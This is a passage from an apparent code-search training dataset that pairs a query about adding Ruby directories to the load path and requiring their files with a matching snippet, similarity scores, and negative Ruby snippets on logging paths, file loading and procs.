"def create_log_file file_name=@file_name, dir=Dir.pwd\n @file_name = file_name\n @file_destination = dir\n if valid_file_name\n if File.directory? @file_destination\n @log_file = File.open(@file_destination + \"/\" + @file_name, 'w')\n @log_file.puts \"WatirmarkLog: \" + inspect\n else\n raise ArgumentError, \"Directory '#{@file_destination}' does not exist\"\n end\n else\n raise ArgumentError, \"File name: '#{@file_name}' must only contain characters, digits, and underscores, and must be of type .log\"\n end\n end",
"def logme(target)\n\n\t# Create Filename info to be appended to files\n\tfilenameinfo = \"_\" + ::Time.now.strftime(\"%Y%m%d.%M%S\")\n\n\t# Create a directory for the logs\n\tlogs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')\n\n\t# Create the log directory\n\t::FileUtils.mkdir_p(logs)\n\n\t#logfile name\n\tdest = logs + \"/\" + target + filenameinfo\n\n\tdest\nend",
"def log_path\n case Merb::Config[:log_file]\n when String then File.dirname(Merb::Config[:log_file])\n else Merb.root_path(\"log\")\n end\n end",
"def log_path\n case Merb::Config[:log_file]\n when String then File.dirname(Merb::Config[:log_file])\n else Merb.root_path(\"log\")\n end\n end",
"def log_file\n self['resque.log_file'] || ::Rails.root.join('log/resque.log').to_s\n end",
"def filename\n @filename\n end",
"def filename\n @filename\n end",
"def filename\n @filename\n end",
"def file_log\n @file_log ||= @repo.file_log @path\n end",
"def filename()\n #This is a stub, used for indexing\n end",
"def write_file(filename: @filename)\n raise 'Filename is not set, you need to initialize RSpecLog before writing' if filename.nil?\n RSpecLog.write_hash_to_file(RSpecLog.log_hash, filename)\n end",
"def log_path\n \n @log_path = \"doc/mylog/articles\"\n \n end",
"def file_logger\n if !@file_logger\n if defined?(Rails) && Rails.root\n @file_logger = Logger.new(Rails.root.join(\"log/veritrans.log\").to_s)\n else\n @file_logger = Logger.new(\"/dev/null\")\n end\n end\n\n @file_logger\n end",
"def log_to(file)\n @log_file = file\n end",
"def filename\n self._filename\n end",
"def file name\n \n end",
"def dev_error_filepath\n \"parse_logs/#{study_file.id}/log.txt\"\n end",
"def idx_log_file\n\t\t\"#{pre}/genome_idx/log\" #Bowtie2 Index Log\n\tend",
"def find_log_file\n Dir[\"#{@simulation.run_path}/in.log\"].first\n end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename\n raise\n end",
"def log_new(msg)\n @script = File.basename($0).split(/\\./)[0] \n logfile = $script_dir + \"/var/log/#{@script}_new.log\"\n logfile = $config[\"settings\"][\"log_directory\"] + \"/#{@script}_new.log\" if $config[\"settings\"].has_key? 'log_directory'\n if $config[\"settings\"][\"log_file\"]\n File.open(logfile, 'a') do |f|\n now = Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n f.puts \"#{@script} #{now} -> #{msg}\"\n end\n end\n puts \"#{@script} -> #{msg}\"\nend",
"def default_log_path\n if @config.log_root\n File.join(@config.log_root, default_log_file_name)\n else\n nil\n end\n end",
"def user_error_filepath\n \"parse_logs/#{study_file.id}/user_log.txt\"\n end",
"def logger\n Logger.new(files[:logfile], 10, 1024000)\n end",
"def log_path\n File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '__nanite.log')\n end",
"def logger_output; end",
"def filename\n @io.original_filename\n end",
"def name() @filename end",
"def log_file\n @_log_file ||= begin\n log_file = ::File.new(log_path, 'a+')\n log_file.sync = true # Dumps the logs to disk immediately\n\n log_file\n end\n end",
"def debug_output_file\n \"debug.log\"\nend",
"def pool_logger_location\n ::File.join(logger_location, \"pool.log\")\n end",
"def log_path\n \"#{Rails.root}/tmp/nsc/#{id.to_s}/processing_log.log\" \n end",
"def run_log_url(filename)\n \"http://#{Deployinator.hostname}/run_logs/view/#{filename}\"\n end",
"def get_log_dir()\n \"#{node[:neon_logs][:flume_log_dir]}/#{node[:neon_logs][:flume_service_name]}\"\n end"
] |
[
"0.7874035",
"0.7859813",
"0.7813772",
"0.7660888",
"0.75667536",
"0.7538536",
"0.738594",
"0.73797864",
"0.73403704",
"0.7336716",
"0.72891104",
"0.72824806",
"0.7260308",
"0.72505647",
"0.7186787",
"0.71802366",
"0.70936215",
"0.70715284",
"0.7063371",
"0.7061424",
"0.7014027",
"0.7014027",
"0.69594187",
"0.69490635",
"0.6941158",
"0.6941158",
"0.6931715",
"0.6873524",
"0.68664545",
"0.6838879",
"0.6825235",
"0.6819803",
"0.67954576",
"0.67890245",
"0.67813617",
"0.6772443",
"0.6764154",
"0.67436147",
"0.6740586",
"0.6699521",
"0.66926926",
"0.6688188",
"0.668115",
"0.6621528",
"0.65924096",
"0.65807056",
"0.65669817",
"0.65650976",
"0.6523453",
"0.6522403",
"0.6521838",
"0.651888",
"0.65109247",
"0.6495858",
"0.6491789",
"0.6491789",
"0.6484795",
"0.64700097",
"0.6459347",
"0.6459347",
"0.6450069",
"0.6432562",
"0.6425935",
"0.6398569",
"0.6392859",
"0.63784224",
"0.63596517",
"0.6325275",
"0.63212544",
"0.63016707",
"0.6280035",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.62667257",
"0.626398",
"0.62540895",
"0.62490785",
"0.6248646",
"0.6248557",
"0.6247308",
"0.62448937",
"0.62344974",
"0.62335587",
"0.6228452",
"0.62257475",
"0.62228125",
"0.62110865",
"0.61975884",
"0.61909324"
] |
0.77619
|
3
|
Pass many strings that will be include in the load path and require all ruby files in the specified dir
|
def load_paths=(dirs)
dirs.each do |dir|
directory = File.expand_path(dir)
$LOAD_PATH.unshift(directory) unless $LOAD_PATH.include?(directory)
Dir["#{directory}/*.rb"].each { |file| require file }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def require_all dir\n `ls #{dir}`.each_line do |file|\n require \"#{dir}/#{file.strip}\"\n end\nend",
"def load_files(path)\n Dir[path].each {|file| require file}\nend",
"def load_ruby_files(directory = '.')\n print \"Loading ruby files...\\n\\n\"\n files = `find #{directory} -type f -name '*.rb'`\n files.split(/\\s+/).each do |f|\n begin\n load File.expand_path(f)\n rescue Exception => e\n puts \"failed loading '#{f[/\\b[\\-\\w]+\\/.*rb$/]}': #{e}\"\n end\n end\n puts \"Done\"\nend",
"def require_all_rb (dir)\n config = Rails.configuration\n ruby_files = Dir[\"#{config.root}/#{dir}/*.rb\"].map {|fn| File.basename(fn).gsub(/\\.rb$/,\"\") }\n ruby_files.each {|r| require r}\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, '*.rb')\n Dir[glob].each do |f|\n require f\n end\nend",
"def load_required\n Dir[\"#{folder}/**/*.rb\"].each{|m|load m}\n end",
"def load_files_of(path)\n Dir.foreach(path) do |file|\n src = [path, file].join('/')\n \n # call yourself if file is a directory\n load_files_of(src) if File.directory?(src) and file != '.' and file != '..'\n \n sym = File.basename(file, '.rb').split('_').map{|el| el.capitalize}.join('').to_sym\n unless (src == __FILE__) or \n File.directory?(file) or \n !(src[-3,3] == '.rb') or \n (REQUIRE_RELATIVE.include?(file))\n autoload sym, src\n end\n end\nend",
"def require_directory dirname\n\n #we glob every file, and loop through them\n Dir.glob(\"#{File.expand_path(File.dirname(__FILE__))}/#{dirname}/*.rb\").each do |f|\n\n #and then require them!\n require f\n end\nend",
"def require_files\n @load_paths.each do |path|\n Dir[\"#{path}/**/*\"].each do |f|\n require f\n end\n end\n end",
"def require_all(dir)\n files = Dir.glob File.join(dir, '**', '*.rb')\n files = files.map { |fyle| File.expand_path fyle }.sort\n files.each do |fyle|\n Kernel.send(:require, fyle)\n end\nend",
"def require_all(path)\n glob = File.join(__dir__, path, \"*.rb\")\n Dir[glob].sort.each do |f|\n require f\n end\nend",
"def require_all(path)\n glob = File.join(File.dirname(__FILE__), path, \"*.rb\")\n Dir[glob].each { |f| require f}\n Dir[glob].map { |f| File.basename(f) }\nend",
"def load(*globs)\n skips = globs.grep(/^-/)\n (globs - skips).each do |glob|\n glob += '.rb' if glob =~ /\\*$/\n Dir.glob(glob).sort.each do |path|\n next unless File.file? path\n next if skips.find {|pat| path =~ /#{pat[1..-1]}$/}\n instance_eval(File.read(path), path)\n end\n end\n end",
"def loadpath(*paths)\r\n paths.reverse_each do |path|\r\n $LOAD_PATH.unshift File.expand_path(path)\r\n end\r\n \r\n $LOAD_PATH.uniq!\r\n $LOAD_PATH\r\n end",
"def ruby_can_load(*files)\n # Always include rubygems first\n files = files.unshift('rubygems').collect { |x| \"require '#{x}'\" }\n \n @commands << \"ruby -e \\\"#{files.join(';')}\\\"\"\n end",
"def ruby_can_load(*files)\n # Always include rubygems first\n files = files.unshift('rubygems').collect { |x| \"require '#{x}'\" }\n \n @commands << \"ruby -e \\\"#{files.join(';')}\\\"\"\n end",
"def include_load_paths(load_paths)\n load_paths.each do |load_path|\n expanded_load_path = File.expand_path(load_path)\n\n unless $LOAD_PATH.include? expanded_load_path\n $LOAD_PATH.unshift expanded_load_path\n end\n end\n end",
"def add_autoload_paths_to_load_path=(_arg0); end",
"def add_autoload_paths_to_load_path=(_arg0); end",
"def load_libs\n loadQueue = []\n Pathname.glob './lib/*.rb' do |script|\n require script.to_s\n scriptfolder = Pathname.new(script.to_s.gsub('.rb', ''))\n next if not scriptfolder.directory?\n\n loadQueue += scriptfolder.children(true).find_all {|file| file.to_s[-3..-1] == '.rb'}\n end\n \n # load the children\n loadQueue.each {|file| require file.to_s }\n end",
"def load_r(*dirs)\n require 'find'\n\n begin\n Find.find(*dirs) do |p| \n if p =~ /Rakefile$/i or p =~ /Rakefile.rb$/\n load p\n end\n end\n rescue LoadError => msg\n Error msg\n end\nend",
"def load_current\n Dir.glob(current(\"*.rb\")) do |rb_file|\n require rb_file\n puts \"required #{File.basename(rb_file)}\"\n end\nend",
"def load_lab_app_lib_files\n libFiles = File.dirname(__FILE__) + \"/../lib/*.rb\"\n Dir[libFiles].each do |file|\n fullpath = File.expand_path(file)\n puts \"Loading your file #{fullpath}\"\n require fullpath\n end\n end",
"def require_one(load_path)\n Dir.glob(\"#{load_path}/**/*.rb\").sort.each(&method(:load_class_for))\n end",
"def load_commands\n glob = File.join(Imp.root, '**', '*.rb')\n Dir[glob].sort.each { |f| load f }\n end",
"def lookup!\n $LOAD_PATH.each do |base|\n Dir[File.join(base, *file_lookup_paths)].each do |path|\n path = path.delete_prefix(\"#{base}/\")\n require path\n rescue Exception\n # No problem\n end\n end\n end",
"def load_packages\n pattern = File.expand_path(File.join(\"..\", \"*.rb\"), File.dirname(__FILE__)) \n Dir[pattern].each {|f| load f}\n end",
"def require_dir_contents(preload_dir)\n ::Dir.entries(preload_dir).sort.each do |child|\n next unless ::File.extname(child) == \".rb\"\n preload_file = ::File.join(preload_dir, child)\n next if !::File.file?(preload_file) || !::File.readable?(preload_file)\n require preload_file\n end\n end",
"def require_all(path)\n begin\n Dir.glob(\"#{path}/*.rb\").each do |f_path|\n require f_path\n end \n rescue => e\n puts e\n return false \n end\n return true;\n end",
"def load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if !@loaded_paths.include?( expanded_path ) && File.exists?( expanded_path )\n $CLASSPATH << expanded_path\n load_paths << expanded_path\n @loaded_paths << expanded_path\n end\n end\n \n load_paths\n end",
"def load_directory name\n files_in_directory(name, '**' / '*.rb').each do |file|\n require file\n end\n end",
"def load_scripts(path, file = nil)\n Dir[File.join(path, '*.rb')].sort.each do |filename|\n next unless File.basename(filename) =~ /^[0-9]{5}[ _].*/\n file&.puts(filename)\n require(filename)\n end\n rescue StandardError\n if Object.const_defined?(:Yuki) && Yuki.const_defined?(:EXC)\n Yuki::EXC.run($!)\n else\n raise\n end\n end",
"def load_all\n return if defined?(@loaded_all)\n\n load_env\n\n paths = search_path\n unless paths.nil?\n paths.each do |dir|\n # dir is already an absolute path\n Dir.glob(File.join(dir, '*.rb')).each do |path|\n # exclude dirs that end with .rb\n load_file(path) if File.file?(path)\n end\n end\n end\n\n @loaded_all = true\n end",
"def load_gems_in(*spec_dirs); end",
"def includes_load_paths; end",
"def require_files(directory)\n Find.find(directory) do |file_name|\n if file_name.match(/.*\\.rb$/)\n require file_name\n end\n end\nend",
"def load_tasks(tasks)\n load File.join(File.dirname(__FILE__), 'tasks', \"#{tasks}.rb\")\nend",
"def app_load_path(*paths)\n paths.each do |path|\n dir = app_path(path)\n $LOAD_PATH.unshift(dir) unless $LOAD_PATH.include?(dir)\n end\nend",
"def load_directory(dir, recursive = true)\r\n Dir.glob(File.join(dir, recursive ? \"**/*.rb\" : \"*.rb\")) do |f|\r\n require f\r\n end\r\n end",
"def load_gemfiles(directories)\n directories.each do |directory|\n gemfile = File.expand_path(File.join(directory, 'Gemfile'))\n eval(File.read(gemfile), binding) if File.exist?(gemfile)\n end\nend",
"def load framework\n framework = framework.downcase\n dir = File.join(@path, framework)\n if Dir.exists? dir\n Dir.glob(File.join(dir, '**/*.rb')).each do |mapping|\n require mapping.chomp! '.rb'\n end\n end\n end",
"def require_load_paths\n load_paths.each { |path| Padrino.require_dependencies(File.join(self.root, path)) }\n end",
"def load_strategies_from(dir_name)\n glob_exprs = [File.join(\"#{dir_name}**/**\", \"*.str\"), File.join(\"#{dir_name}**/**\", \"*.str.rb\")]\n glob_exprs.each do |expr|\n Dir.glob(expr).entries.each do |f|\n rel_path = File.split(f)[0]\n # slice twice to cover strategies at top level and nested strategies both\n rel_path.slice! (dir_name)\n rel_path.slice! (File::SEPARATOR)\n rel_path = rel_path.gsub(File::SEPARATOR, \".\") + \".\" if !rel_path.empty? \n\n set_relative_path(rel_path)\n eval(File.read(f), get_binding)\n end\n end\n end",
"def internal_load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if File.exists?( expanded_path )\n @class_loader.addPath( expanded_path )\n \n load_paths << expanded_path\n end\n end\n \n load_paths\n end",
"def require path \n if File.exist?(path) and !File.directory?(path)\n elsif File.exist?(tmp = path+\".rb\")\n path = tmp\n elsif File.exist?(tmp = path+\".mrb\") \n path = tmp\n elsif $:.is_a?(Array)\n $:.each do |dir|\n if File.exist?(tmp = \"#{dir}/#{path}\") and !File.directory?(tmp)\n path = tmp\n next\n elsif File.exist?(tmp = \"#{dir}/#{path}.rb\")\n path = tmp\n next\n elsif File.exist?(tmp = \"#{dir}/#{path}.mrb\")\n path = tmp\n next\n end \n end\n end \n\n if [\"rb\", \"mrb\"].index(q = path.split(\".\").last) \n \n path = File.expand_path(path)\n \n if REQUIRED_LIBS[path]\n return false\n end\n\n REQUIRED_LIBS[path = File.expand_path(path)] = true\n end\n \n if q == \"rb\"\n __eval__ \"JAM_MAIN_HANDLE.loadScriptFull __mrb_context__, '#{path}'\"\n return true\n elsif q == \"mrb\"\n __eval__ \"JAM_MAIN_HANDLE.loadCompiledFull __mrb_context__, '#{path}'\"\n return true\n else\n __jam_require__ path\n end\n rescue => e\n p e\n raise e\n end",
"def add_autoload_paths_to_load_path; end",
"def add_autoload_paths_to_load_path; end",
"def autoload_paths=(_arg0); end",
"def load(*args)\n args.each do |thing|\n if(thing.is_a?(Symbol))\n path = File.join(components_directory, \"#{thing}.rb\")\n else\n path = thing\n end\n key = File.basename(path).sub('.rb', '')\n components[key] = self.class.load_component(path)\n @load_order << key\n end\n self\n end",
"def load_files(*sources); end",
"def load_paths\n @load_paths ||= [\"urls.rb\", \"config/urls.rb\", \"mailers/*.rb\", \"controllers/**/*.rb\", \"controllers.rb\", \"helpers/*.rb\"]\n end",
"def find_loadpath(match, options={})\n plugins = []\n #directory = options[:directory] || DIRECTORY\n $LOAD_PATH.uniq.each do |path|\n path = File.expand_path(path)\n #list = Dir.glob(File.join(path, directory, match))\n list = Dir.glob(File.join(path, match))\n list = list.map{ |d| d.chomp('/') }\n plugins.concat(list)\n end\n plugins\n end",
"def require_all(group)\n Dir[File.expand_path(\"#{group}/*.rb\", __dir__)].each do |file|\n require file\n end\nend",
"def inject_into_load_path\n \n # Add ALL paths under the engine root to the load path\n %w(app/controllers \n app/helpers \n app/models\n components\n lib).collect { |dir|\n File.join(root, dir)\n }.select { |dir| File.directory?(dir) }.each do |path|\n insert_into_load_path(path) \n end\n end",
"def load_helpers\n load_glob File.join(File.dirname(__FILE__), 'helpers', '*.rb')\n end",
"def reload\n Dir.glob(\"lib/**/*.rb\").each { |file|\n load file\n }\nend",
"def load_paths\n [root.join('lib'), root.join('spec')].join(':')\n end",
"def add_targets_from(path)\n\t\t\t\traise \"targets path #{path} didn't exist\" unless path.exist?\n\t\t\t\tui.log \"loading targets from #{path}\"\n\n\t\t\t\t$LOAD_PATH << path\n\t\t\t\tPathname.glob(path+'**/*.rb').each do |file|\n\t\t\t\t\trequire file\n\t\t\t\tend\n\t\t\tend",
"def autoload(paths, opts={}, &block)\n raise ArgumentError, \"block required\" unless block\n\n if @autoload\n if @reloader\n @reloader.autoload_dependencies(paths, opts, &block)\n else\n Unreloader.expand_directory_paths(paths).each{|f| Unreloader.autoload_constants(yield(f), f, @logger)}\n end\n else\n require(paths, opts, &block)\n end\n end",
"def load(glob)\n b = binding\n Dir[glob].each do |f|\n eval(File.read(f), b, f)\n end\n end",
"def load_plugins!\n # Scan plugins\n plugin_glob = File.join(File.dirname(__FILE__), 'plugins', '*.rb')\n Dir.glob(plugin_glob).each do |plugin|\n logger.debug(\"Loading file: #{plugin}\")\n require plugin\n end\n end",
"def require_lib_files(files)\n case files\n when String\n file_paths = expanded_file_path(files)\n file_paths = Dir.glob(file_paths) if files.include? '*'\n when Array\n file_paths = files.map { |f| expanded_file_path(f) }\n end\n\n Motion::Require.all(file_paths)\nend",
"def in_source_dir(*paths); end",
"def set_load_paths(*paths)\n $:.concat(paths); load_paths.concat(paths)\n $:.uniq!; load_paths.uniq!\n end",
"def load_bot_code\n load_special_tasks\n files = Dir[\"#{File.expand_path('./lib', @options[:current_dir])}/**/*\"]\n files.each do |file|\n require_relative file.sub(/\\.rb$/, '') if file.end_with? '.rb'\n end\n end",
"def load_tests (prefix)\n\n dp = File.dirname(__FILE__)\n\n Dir.new(dp).entries.select { |e|\n e.match(/^#{prefix}\\_.*\\.rb$/)\n }.sort.each { |e|\n load(\"#{dp}/#{e}\")\n }\nend",
"def require(*files)\n files.each do |file|\n evaluate(\"Johnson.require('#{file}');\")\n end\n end",
"def require(*files)\n files.each do |file|\n evaluate(\"Johnson.require('#{file}');\")\n end\n end",
"def require_these( dir, allow_only=nil )\n if allow_only\n allow_only.uniq.each { |file_name| \n require File.join(dir, file_name.to_s) \n }\n else\n Dir[ File.join(dir, '*.rb') ].each { |file_name_rb| \n # Replace 'models/resty.rb' to 'models/resty'\n file_name = file_name_rb.sub(/\\.rb$/, '') \n require file_name\n }\n end\nend",
"def loadable_constants_for_path(path, bases = autoload_paths)\n path = path.chomp(\".rb\")\n expanded_path = File.expand_path(path)\n paths = []\n\n bases.each do |root|\n expanded_root = File.expand_path(root)\n next unless expanded_path.start_with?(expanded_root)\n\n root_size = expanded_root.size\n next if expanded_path[root_size] != ?/\n\n nesting = expanded_path[(root_size + 1)..-1]\n paths << nesting.camelize unless nesting.blank?\n end\n\n paths.uniq!\n paths\n end",
"def update_loadpath\n project_directory = File.expand_path( \"../..\", __FILE__ ) # filepath, minus filename and lib directory\n child_directories = find_all_directories( project_directory )\n $LOAD_PATH.unshift( child_diretories )\n $LOAD_PATH.unshift( project_directory )\n $LOAD_PATH.flatten!\nend",
"def prepend_load_path(sub_dirs)\n priority = sub_dirs.reverse\n priority.each do |sub_dir|\n path = File.expand_path(File.join(File.dirname(__FILE__), sub_dir))\n #puts path\n $LOAD_PATH.unshift(path) unless $LOAD_PATH.include?(path)\n end\nend",
"def loadall(env)\n self.class.loadall(@path, env)\n end",
"def load_actions\n bin_dir = File.dirname($0)\n main_dir = File.dirname(bin_dir)\n\n lib_dir = File.join(main_dir, \"lib\")\n a_lib_dir = lib_dir + \"/a_actions\"\n a_files = Dir[File.join(a_lib_dir, \"*.rb\")]\n\n Dir[File.join(a_lib_dir, \"*.rb\")].each do |file|\n f = a_lib_dir + \"/\" + File.basename(file.gsub(/\\.rb$/,''))\n Helpers::log \"Loading action: #{f}\"\n require f\n end\n end",
"def add_caller_paths_to_load_path(root_path)\n add_to_load_path(File.join(root_path, LIB_DIR))\n add_to_load_path(File.join(root_path, TEST_DIR))\n end",
"def load_path(match, options={})\n return [] if options[:from]\n\n options = valid_load_options(options)\n\n found = []\n $LOAD_PATH.uniq.each do |path|\n list = Dir.glob(File.join(File.expand_path(path), match))\n list = list.map{ |d| d.chomp('/') }\n # return absolute path unless relative flag\n if options[:relative]\n # the extra '' in File.join adds a '/' to the end of the path\n list = list.map{ |f| f.sub(File.join(path, ''), '') }\n end\n found.concat(list)\n end\n found\n end",
"def import(*globs)\n globs.each do |glob|\n #if File.relative?(glob)\n # dir = Dir.pwd #session.root #File.dirname(caller[0])\n # glob = File.join(dir, glob)\n #end\n Dir[glob].each do |file|\n next unless File.file?(file) # add warning\n next if @scripts.include?(file)\n @scripts << file\n module_eval(File.read(file), file)\n end\n end\n end",
"def import(*globs)\n globs.each do |glob|\n #if File.relative?(glob)\n # dir = Dir.pwd #session.root #File.dirname(caller[0])\n # glob = File.join(dir, glob)\n #end\n Dir[glob].each do |file|\n next unless File.file?(file) # add warning\n next if @scripts.include?(file)\n @scripts << file\n module_eval(File.read(file), file)\n end\n end\n end",
"def load_resources\n resource_path = File.join(File.dirname(__FILE__), \"resources\")\n Similar.load_all_ruby_files_from_path(resource_path)\n end",
"def load_registry!(directory)\n Dir.glob(File.join(directory, '*.rb')).each do |reg|\n reg = File.expand_path(reg)\n require reg\n end\n true\n end",
"def load_registry!(directory)\n Dir.glob(File.join(directory, '*.rb')).each do |reg|\n reg = File.expand_path(reg)\n require reg\n end\n true\n end",
"def load(path); end",
"def load_specs(dir)\n if \"file\" == @mode then\n load_from_file(dir) \n elsif \"code\" == @mode then\n { 'resources' => parse_source_code(dir) }\n else\n raise ArgumentError\n end\n end",
"def load(name)\n Kernel.load name\nend",
"def add_load_path(path)\n\t\t\t# Allow loading library code from lib directory:\n\t\t\t$LOAD_PATH << File.expand_path(path, site_root)\n\t\tend",
"def load(fact)\n # Now load from the search path\n shortname = fact.to_s.downcase\n load_env(shortname)\n\n filename = shortname + \".rb\"\n\n paths = search_path\n unless paths.nil?\n paths.each do |dir|\n # Load individual files\n file = File.join(dir, filename)\n\n load_file(file) if File.file?(file)\n end\n end\n end",
"def find_files_for_reload\n paths = [ './', *$LOAD_PATH ].uniq\n [ $0, *$LOADED_FEATURES ].uniq.map do |file|\n next if file =~ /\\.(so|bundle)$/\n yield(find(file, paths))\n end\n end",
"def load(*args)\n args.each do |thing|\n key = File.basename(thing.to_s).sub('.rb', '')\n if(thing.is_a?(String))\n components[key] = self.class.load_component(thing)\n else\n components[key] = sparkle.get(:component, thing)[:block]\n end\n @load_order << key\n end\n self\n end",
"def module_require( path )\n if path =~ /^[\\/~.]/\n file = File.expand_path(path)\n else\n $LOAD_PATH.each do |lp|\n file = File.join(lp,path)\n break if File.exist?(file)\n file += '.rb'\n break if File.exist?(file)\n file = nil\n end\n end\n\n raise LoadError, \"unknown file -- #{path}\" unless file\n\n @loaded ||= {}\n if @loaded.key?(file)\n false\n else\n @loaded[file] = true\n script = File.read(file)\n module_eval(script)\n true\n end\n end"
] |
[
"0.7451164",
"0.7288219",
"0.71746105",
"0.71646607",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.70494395",
"0.69871527",
"0.69836235",
"0.6956298",
"0.6879192",
"0.68754756",
"0.6846014",
"0.67454195",
"0.6735766",
"0.66796154",
"0.66647947",
"0.6654952",
"0.6583224",
"0.65232646",
"0.65232646",
"0.65056",
"0.6475969",
"0.64586616",
"0.6458087",
"0.64434123",
"0.64292574",
"0.64260674",
"0.64251703",
"0.64213437",
"0.6418481",
"0.6393526",
"0.6381209",
"0.63769764",
"0.63715875",
"0.63675547",
"0.6361577",
"0.6356343",
"0.6345553",
"0.6321191",
"0.6302017",
"0.629208",
"0.6277155",
"0.62759435",
"0.62190384",
"0.61890006",
"0.6179793",
"0.61768657",
"0.61768657",
"0.6154858",
"0.61493725",
"0.60938776",
"0.6089827",
"0.6077996",
"0.60764784",
"0.60652363",
"0.6044937",
"0.60118544",
"0.6010251",
"0.6008811",
"0.60036105",
"0.60028875",
"0.60017127",
"0.6000215",
"0.59952325",
"0.59926564",
"0.5983868",
"0.5982229",
"0.5953867",
"0.5953867",
"0.5885684",
"0.58592254",
"0.5856761",
"0.58490664",
"0.5820111",
"0.58155787",
"0.5778142",
"0.57705766",
"0.57682073",
"0.57682073",
"0.5760093",
"0.5733942",
"0.5733942",
"0.57234186",
"0.5721602",
"0.57158107",
"0.57129836",
"0.57093215",
"0.57061386",
"0.570285",
"0.5701575"
] |
0.7348493
|
1
|
calls the first proc and passes its result into the second.
|
def compose(proc1, proc2)
Proc.new do |x|
proc2.call(proc1.call(x)) # parenthesis needed so proc1 calls first
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_two_procs(a, b)\n a.call # .call is used to run the proc (block of code)\n b.call\nend",
"def test procArg1, procArg2\n\tProc.new do |arg|\n\t\tprocArg2.call(procArg1.call(arg))\n\tend\nend",
"def another_proc\n\tp = Proc.new {return}\n\tp.call\n\tputs \"After Proc\"\nend",
"def run_two_procs(a,b)\n a.call\n b.call\nend",
"def my_proc\n\n\tputs \"first proc\"\n\n\tproc1 = proc {\n\n\t\tputs \"second proc\"\n\t\t#breaak or return\n\n\t}\n\n\tproc1.call\n\tputs \"last proc\"\nend",
"def new_proc\n proc1 = Proc.new{return \"I got it....\"}\n proc1.call\n \n return \".. but not that\"\nend",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x)) #put proc1 into parenthesis inorder for it to be done first\n end\nend",
"def compose(proc1, proc2)\n proc do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def call_proc\n\tputs \"Before proc\"\n\tmy_proc = Proc.new { return 2 } \n\tmy_proc.call\n\tputs \"After proc\"\nend",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose proc1, proc2\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose proc1, proc2\n Proc.new { |x| proc2.call(proc1.call(x)) }\nend",
"def add_and_proc(num1, num2, &proc)\n sum = num1 + num2\n p proc.call(sum)\nend",
"def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\n\nend",
"def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\nend",
"def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def compose(proc1, proc2)\n Proc.new do |x|\n proc2.call(proc1.call(x))\n end\nend",
"def b_method()\n Proc.new { return \"we return from proc\" }.call\n return \"return from method\"\nend",
"def proc_math\n Proc.new { return 1 + 1 }.call\n return 2 + 2\nend",
"def proc_sample\n proc = proc { return 'world' }\n 'hello ' << proc.call\nend",
"def proc_math\n Proc.new { return 1 + 1 }.call\n\n return 2 + 2\nend",
"def another_double\n p = Proc.new { return 10 }\n result = p.call\n return result * 2\nend",
"def invoke\n @proc.call\n end",
"def func_one\n proc_new = Proc.new {return \"123\"}\n proc_new.call(1,2)#proc dont care how many argument added\n return \"456\"\nend",
"def add_and_proc(num_1, num_2, &prc)\n sum = num_1 + num_2\n p prc.call(sum)\nend",
